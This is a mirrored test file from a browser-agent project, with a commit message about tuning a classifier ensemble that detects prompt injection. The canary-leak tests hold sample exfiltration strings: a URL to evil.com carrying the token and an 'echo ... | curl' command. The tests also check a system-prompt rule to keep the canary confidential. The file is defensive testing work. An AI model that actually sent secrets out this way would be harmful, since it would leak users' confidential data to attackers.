mirror of
https://github.com/garrytan/gstack.git
synced 2026-05-01 19:25:10 +02:00
d75402bbd2
* feat(security): v2 ensemble tuning — label-first voting + SOLO_CONTENT_BLOCK Cuts Haiku classifier false-positive rate from 44.1% → 22.9% on BrowseSafe-Bench smoke. Detection trades from 67.3% → 56.2%; the lost TPs are all cases Haiku correctly labeled verdict=warn (phishing targeting users, not agent hijack) — they still surface in the WARN banner meta but no longer kill the session. Key changes: - combineVerdict: label-first voting for transcript_classifier. Only meta.verdict==='block' block-votes; verdict==='warn' is a soft signal. Missing meta.verdict never block-votes (backward-compat). - Hallucination guard: verdict='block' at confidence < LOG_ONLY (0.40) drops to warn-vote — prevents malformed low-conf blocks from going authoritative. - New THRESHOLDS.SOLO_CONTENT_BLOCK = 0.92 decoupled from BLOCK (0.85). Label-less content classifiers (testsavant, deberta) need a higher solo-BLOCK bar because they can't distinguish injection from phishing-targeting-user. Transcript keeps label-gated solo path (verdict=block AND conf >= BLOCK). - THRESHOLDS.WARN bumped 0.60 → 0.75 — borderline fires drop out of the 2-of-N ensemble pool. - Haiku model pinned (claude-haiku-4-5-20251001). `claude -p` spawns from os.tmpdir() so project CLAUDE.md doesn't poison the classifier context (measured 44k cache_creation tokens per call before the fix, and Haiku refusing to classify because it read "security system" from CLAUDE.md and went meta). - Haiku timeout 15s → 45s. Measured real latency is 17-33s end-to-end (Claude Code session startup + Haiku); v1's 15s caused 100% timeout when re-measured — v1's ensemble was effectively L4-only in prod. - Haiku prompt rewritten: explicit block/warn/safe criteria, 8 few-shot exemplars (instruction-override → block; social engineering → warn; discussion-of-injection → safe). Test updates: - 5 existing combineVerdict tests adapted for label-first semantics (transcript signals now need meta.verdict to block-vote). - 6 new tests: warn-soft-signal, three-way-block-with-warn-transcript, hallucination-guard-below-floor, above-floor-label-first, backward-compat-missing-meta. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * test(security): live + fixture-replay bench harness with 500-case capture Adds two new benches that permanently guard the v2 tuning: - security-bench-ensemble-live.test.ts (opt-in via GSTACK_BENCH_ENSEMBLE=1). Runs full ensemble on BrowseSafe-Bench smoke with real Haiku calls. Worker-pool concurrency (default 8, tunable via GSTACK_BENCH_ENSEMBLE_CONCURRENCY) cuts wall clock from ~2hr to ~25min on 500 cases. Captures Haiku responses to fixture for replay. Subsampling via GSTACK_BENCH_ENSEMBLE_CASES for faster iteration. Stop-loss iterations write to ~/.gstack-dev/evals/stop-loss-iter-N-* WITHOUT overwriting canonical fixture. - security-bench-ensemble.test.ts (CI gate, deterministic replay). Replays captured fixture through combineVerdict, asserts detection >= 55% AND FP <= 25%. Fail-closed when fixture is missing AND security-layer files changed in branch diff. Uses `git diff --name-only base` (two-dot) to catch both committed and working-tree changes — `git diff base...HEAD` would silently skip in CI after fixture lands. - browse/test/fixtures/security-bench-haiku-responses.json — 500 cases × 3 classifier signals each. Header includes schema_version, pinned model, component hashes (prompt, exemplars, thresholds, combiner, dataset version). Any change invalidates the fixture and forces fresh live capture. - docs/evals/security-bench-ensemble-v2.json — durable PR artifact with measured TP/FN/FP/TN, 95% CIs, knob state, v1 baseline delta. Checked in so reviewers can see the numbers that justified the ship. Measured baseline on the new harness: TP=146 FN=114 FP=55 TN=185 → 56.2% / 22.9% → GATE PASS Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * chore(release): v1.5.1.0 — cut Haiku FP 44% → 23% - VERSION: 1.5.0.0 → 1.5.1.0 (TUNING bump) - CHANGELOG: [1.5.1.0] entry with measured numbers, knob list, and stop-loss rule spec - TODOS: mark "Cut Haiku FP 44% → ~15%" P0 as SHIPPED with pointer to CHANGELOG and v1 plan Measured: 56.2% detection (CI 50.1-62.1) / 22.9% FP (CI 18.1-28.6) on 500-case BrowseSafe-Bench smoke. Gate passes (floor 55%, ceiling 25%). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * docs(changelog): add v1.6.4.0 placeholder entry at top Per CLAUDE.md branch-scoped discipline, our VERSION 1.6.4.0 needs a CHANGELOG entry at the top so readers can tell what's on this branch vs main. Honest placeholder: no user-facing runtime changes yet, two merges bringing branch up to main's v1.6.3.0, and the approved injection-tuning plan is queued but unimplemented. Gets replaced by the real release-summary at /ship time after Phases -1 through 10 land. * docs(changelog): strip process minutiae from entries; rewrite v1.6.4.0 CLAUDE.md — new CHANGELOG rule: only document what shipped between main and this change. Keep out branch resyncs, merge commits, plan approvals, review outcomes, scope negotiations, "work queued" or "in-progress" framing. When no user-facing change actually landed, one sentence is the entry: "Version bump for branch-ahead discipline. No user-facing changes yet." CHANGELOG.md — v1.6.4.0 entry rewritten to match. Previous version narrated the branch history, the approved injection-tuning plan, and what we expect to ship later — all of which are process minutiae readers do not care about. * docs(changelog): rewrite v1.6.4.0; strip process minutiae Rewrote v1.6.4.0 entry to follow the new CLAUDE.md rule: only document what shipped between main and this change. Previous entry narrated the branch history, the approved injection-tuning plan, and what we expect to ship later, all process minutiae readers do not care about. v1.6.4.0 now reads: what the detection tuning did for users, the before/after numbers, the stop-loss rule, and the itemized changes for contributors. CLAUDE.md — new rule: only document what shipped between main and this change. Keep out branch resyncs, merge commits, plan approvals, review outcomes, scope negotiations, "work queued" / "in-progress" framing. If nothing user-facing landed, one sentence: "Version bump for branch-ahead discipline. No user-facing changes yet." --------- Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
328 lines
12 KiB
TypeScript
328 lines
12 KiB
TypeScript
/**
|
|
* Unit tests for browse/src/security.ts — pure-string operations that must
|
|
* behave deterministically in the compiled browse binary AND in the
|
|
* sidebar-agent bun process. No ML, no network, no subprocess spawning.
|
|
*/
|
|
|
|
import { describe, test, expect } from 'bun:test';
|
|
import * as fs from 'fs';
|
|
import * as os from 'os';
|
|
import * as path from 'path';
|
|
import {
|
|
THRESHOLDS,
|
|
combineVerdict,
|
|
generateCanary,
|
|
injectCanary,
|
|
checkCanaryInStructure,
|
|
hashPayload,
|
|
logAttempt,
|
|
writeSessionState,
|
|
readSessionState,
|
|
getStatus,
|
|
extractDomain,
|
|
type LayerSignal,
|
|
} from '../src/security';
|
|
|
|
// ─── Threshold constants ─────────────────────────────────────
|
|
|
|
describe('THRESHOLDS', () => {
|
|
test('constants are ordered BLOCK > WARN > LOG_ONLY', () => {
|
|
expect(THRESHOLDS.BLOCK).toBeGreaterThan(THRESHOLDS.WARN);
|
|
expect(THRESHOLDS.WARN).toBeGreaterThan(THRESHOLDS.LOG_ONLY);
|
|
expect(THRESHOLDS.LOG_ONLY).toBeGreaterThan(0);
|
|
expect(THRESHOLDS.BLOCK).toBeLessThanOrEqual(1);
|
|
});
|
|
});
|
|
|
|
// ─── combineVerdict (the ensemble rule — CRITICAL path) ──────
|
|
|
|
describe('combineVerdict — ensemble rule', () => {
|
|
test('empty signals → safe', () => {
|
|
const r = combineVerdict([]);
|
|
expect(r.verdict).toBe('safe');
|
|
});
|
|
|
|
test('canary leak always blocks, regardless of ML signals', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'canary', confidence: 1.0 },
|
|
{ layer: 'testsavant_content', confidence: 0.1 },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('canary_leaked');
|
|
expect(r.confidence).toBe(1.0);
|
|
});
|
|
|
|
test('both ML layers at WARN → BLOCK (ensemble agreement)', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'transcript_classifier', confidence: 0.78, meta: { verdict: 'block' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
expect(r.confidence).toBe(0.78); // min of the two
|
|
});
|
|
|
|
test('single layer >= BLOCK (no cross-confirm) → WARN, NOT block', () => {
|
|
// This is the Stack Overflow FP mitigation — single classifier at 0.99
|
|
// shouldn't kill sessions without a second opinion.
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.95 },
|
|
{ layer: 'transcript_classifier', confidence: 0.1, meta: { verdict: 'safe' } },
|
|
]);
|
|
expect(r.verdict).toBe('warn');
|
|
expect(r.reason).toBe('single_layer_high');
|
|
});
|
|
|
|
test('single layer >= WARN → WARN (other layer low)', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'transcript_classifier', confidence: 0.2, meta: { verdict: 'safe' } },
|
|
]);
|
|
expect(r.verdict).toBe('warn');
|
|
expect(r.reason).toBe('single_layer_medium');
|
|
});
|
|
|
|
test('any layer >= LOG_ONLY → log_only', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.5 },
|
|
]);
|
|
expect(r.verdict).toBe('log_only');
|
|
});
|
|
|
|
test('all layers under LOG_ONLY → safe', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.1 },
|
|
{ layer: 'transcript_classifier', confidence: 0.2 },
|
|
]);
|
|
expect(r.verdict).toBe('safe');
|
|
});
|
|
|
|
test('takes max when multiple signals for same layer', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.3 },
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'transcript_classifier', confidence: 0.75, meta: { verdict: 'block' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
});
|
|
|
|
// --- 3-way ensemble (DeBERTa opt-in) ---
|
|
|
|
test('3-way: DeBERTa + testsavant at WARN → BLOCK (two ML classifiers agreeing)', () => {
|
|
// Two scalar-layer block-votes; transcript offers no vote.
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'deberta_content', confidence: 0.78 },
|
|
{ layer: 'transcript_classifier', confidence: 0.1, meta: { verdict: 'safe' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
});
|
|
|
|
test('3-way: only deberta fires alone → WARN (no cross-confirm)', () => {
|
|
// deberta at 0.95 is >= SOLO_CONTENT_BLOCK (0.92) → single_layer_high
|
|
// path. For user-input mode (no toolOutput opt), it degrades to WARN
|
|
// (SO-FP mitigation). Confidence bumped from 0.9 to 0.95 to stay above
|
|
// the new SOLO_CONTENT_BLOCK threshold.
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.1 },
|
|
{ layer: 'deberta_content', confidence: 0.95 },
|
|
{ layer: 'transcript_classifier', confidence: 0.1, meta: { verdict: 'safe' } },
|
|
]);
|
|
expect(r.verdict).toBe('warn');
|
|
expect(r.reason).toBe('single_layer_high');
|
|
});
|
|
|
|
test('3-way: all three ML layers at WARN → BLOCK with min confidence', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'deberta_content', confidence: 0.76 },
|
|
{ layer: 'transcript_classifier', confidence: 0.82, meta: { verdict: 'block' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
// Confidence reports the MIN of the contributing block-votes
|
|
// (most conservative estimate of agreed-upon signal strength).
|
|
expect(r.confidence).toBe(0.76);
|
|
});
|
|
|
|
test('DeBERTa disabled (confidence 0, meta.disabled) does not degrade verdict', () => {
|
|
// When ensemble is not enabled, scanPageContentDeberta returns
|
|
// confidence=0 with meta.disabled. combineVerdict must treat this
|
|
// identically to a safe/absent signal — never let the zero drag
|
|
// down what testsavant + transcript would have said.
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'deberta_content', confidence: 0, meta: { disabled: true } },
|
|
{ layer: 'transcript_classifier', confidence: 0.8, meta: { verdict: 'block' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
});
|
|
});
|
|
|
|
// ─── Canary generation + injection ───────────────────────────
|
|
|
|
describe('canary', () => {
|
|
test('generateCanary returns unique tokens with CANARY- prefix', () => {
|
|
const a = generateCanary();
|
|
const b = generateCanary();
|
|
expect(a).toMatch(/^CANARY-[0-9A-F]+$/);
|
|
expect(b).toMatch(/^CANARY-[0-9A-F]+$/);
|
|
expect(a).not.toBe(b);
|
|
});
|
|
|
|
test('generateCanary has at least 48 bits of entropy', () => {
|
|
const c = generateCanary();
|
|
const hex = c.replace('CANARY-', '');
|
|
// 12 hex chars = 48 bits
|
|
expect(hex.length).toBeGreaterThanOrEqual(12);
|
|
});
|
|
|
|
test('injectCanary appends instruction to system prompt', () => {
|
|
const base = '<system>You are an assistant.</system>';
|
|
const c = generateCanary();
|
|
const out = injectCanary(base, c);
|
|
expect(out).toContain(base);
|
|
expect(out).toContain(c);
|
|
expect(out).toContain('confidential');
|
|
expect(out).toContain('NEVER');
|
|
});
|
|
|
|
test('checkCanaryInStructure detects string match', () => {
|
|
const c = 'CANARY-ABC123';
|
|
expect(checkCanaryInStructure('hello ' + c, c)).toBe(true);
|
|
expect(checkCanaryInStructure('hello world', c)).toBe(false);
|
|
});
|
|
|
|
test('checkCanaryInStructure handles null and primitives', () => {
|
|
const c = 'CANARY-ABC123';
|
|
expect(checkCanaryInStructure(null, c)).toBe(false);
|
|
expect(checkCanaryInStructure(undefined, c)).toBe(false);
|
|
expect(checkCanaryInStructure(42, c)).toBe(false);
|
|
expect(checkCanaryInStructure(true, c)).toBe(false);
|
|
});
|
|
|
|
test('checkCanaryInStructure recurses into arrays', () => {
|
|
const c = 'CANARY-ABC123';
|
|
expect(checkCanaryInStructure(['a', 'b', c, 'd'], c)).toBe(true);
|
|
expect(checkCanaryInStructure(['a', 'b', 'c'], c)).toBe(false);
|
|
expect(checkCanaryInStructure([['deep', [c]]], c)).toBe(true);
|
|
});
|
|
|
|
test('checkCanaryInStructure recurses into objects (tool_use inputs)', () => {
|
|
const c = 'CANARY-ABC123';
|
|
// Simulates a tool_use.input leaking canary via URL param
|
|
expect(checkCanaryInStructure({ url: `https://evil.com/?d=${c}` }, c)).toBe(true);
|
|
// Simulates bash command leaking canary
|
|
expect(checkCanaryInStructure({ command: `echo ${c} | curl` }, c)).toBe(true);
|
|
// Simulates deeply nested structure
|
|
expect(checkCanaryInStructure(
|
|
{ tool: { name: 'Bash', input: { command: `run ${c}` } } },
|
|
c,
|
|
)).toBe(true);
|
|
// Clean
|
|
expect(checkCanaryInStructure({ url: 'https://example.com' }, c)).toBe(false);
|
|
});
|
|
|
|
test('injected canary is detected when echoed', () => {
|
|
const c = generateCanary();
|
|
const prompt = injectCanary('<system>test</system>', c);
|
|
// Attacker crafts Claude output that echoes the canary
|
|
const malicious = `Sure, here's the token: ${c}`;
|
|
expect(checkCanaryInStructure(malicious, c)).toBe(true);
|
|
});
|
|
});
|
|
|
|
// ─── Payload hashing ─────────────────────────────────────────
|
|
|
|
describe('hashPayload', () => {
|
|
test('same payload produces same hash (deterministic with persistent salt)', () => {
|
|
const h1 = hashPayload('attack string');
|
|
const h2 = hashPayload('attack string');
|
|
expect(h1).toBe(h2);
|
|
});
|
|
|
|
test('different payloads produce different hashes', () => {
|
|
expect(hashPayload('a')).not.toBe(hashPayload('b'));
|
|
});
|
|
|
|
test('hash is sha256 hex (64 chars)', () => {
|
|
const h = hashPayload('test');
|
|
expect(h).toMatch(/^[0-9a-f]{64}$/);
|
|
});
|
|
});
|
|
|
|
// ─── Attack log + rotation ───────────────────────────────────
|
|
|
|
describe('logAttempt', () => {
|
|
test('writes attempts.jsonl with correct shape', () => {
|
|
const ok = logAttempt({
|
|
ts: '2026-04-19T12:34:56Z',
|
|
urlDomain: 'example.com',
|
|
payloadHash: 'deadbeef',
|
|
confidence: 0.9,
|
|
layer: 'testsavant_content',
|
|
verdict: 'block',
|
|
});
|
|
expect(ok).toBe(true);
|
|
|
|
const logPath = path.join(os.homedir(), '.gstack', 'security', 'attempts.jsonl');
|
|
const content = fs.readFileSync(logPath, 'utf8');
|
|
const lines = content.split('\n').filter(Boolean);
|
|
const last = JSON.parse(lines[lines.length - 1]);
|
|
expect(last.urlDomain).toBe('example.com');
|
|
expect(last.payloadHash).toBe('deadbeef');
|
|
expect(last.verdict).toBe('block');
|
|
});
|
|
});
|
|
|
|
// ─── Session state (cross-process, atomic) ───────────────────
|
|
|
|
describe('session state', () => {
|
|
test('write + read round-trip', () => {
|
|
const state = {
|
|
sessionId: 'test-session-123',
|
|
canary: 'CANARY-TEST',
|
|
warnedDomains: ['example.com'],
|
|
classifierStatus: { testsavant: 'ok' as const, transcript: 'ok' as const },
|
|
lastUpdated: '2026-04-19T12:34:56Z',
|
|
};
|
|
writeSessionState(state);
|
|
const got = readSessionState();
|
|
expect(got).not.toBeNull();
|
|
expect(got!.sessionId).toBe('test-session-123');
|
|
expect(got!.canary).toBe('CANARY-TEST');
|
|
expect(got!.warnedDomains).toEqual(['example.com']);
|
|
});
|
|
});
|
|
|
|
// ─── Status reporting for shield icon ────────────────────────
|
|
|
|
describe('getStatus', () => {
|
|
test('returns a valid SecurityStatus shape', () => {
|
|
const s = getStatus();
|
|
expect(['protected', 'degraded', 'inactive']).toContain(s.status);
|
|
expect(s.layers).toBeDefined();
|
|
expect(['ok', 'degraded', 'off']).toContain(s.layers.testsavant);
|
|
expect(['ok', 'degraded', 'off']).toContain(s.layers.transcript);
|
|
expect(['ok', 'off']).toContain(s.layers.canary);
|
|
expect(s.lastUpdated).toBeTruthy();
|
|
});
|
|
});
|
|
|
|
// ─── URL domain extraction ───────────────────────────────────
|
|
|
|
describe('extractDomain', () => {
|
|
test('extracts hostname only, never path or query', () => {
|
|
expect(extractDomain('https://example.com/path?q=1')).toBe('example.com');
|
|
expect(extractDomain('http://sub.example.co.uk/a/b')).toBe('sub.example.co.uk');
|
|
});
|
|
|
|
test('returns empty string on invalid URL rather than throwing', () => {
|
|
expect(extractDomain('not a url')).toBe('');
|
|
expect(extractDomain('')).toBe('');
|
|
});
|
|
});
|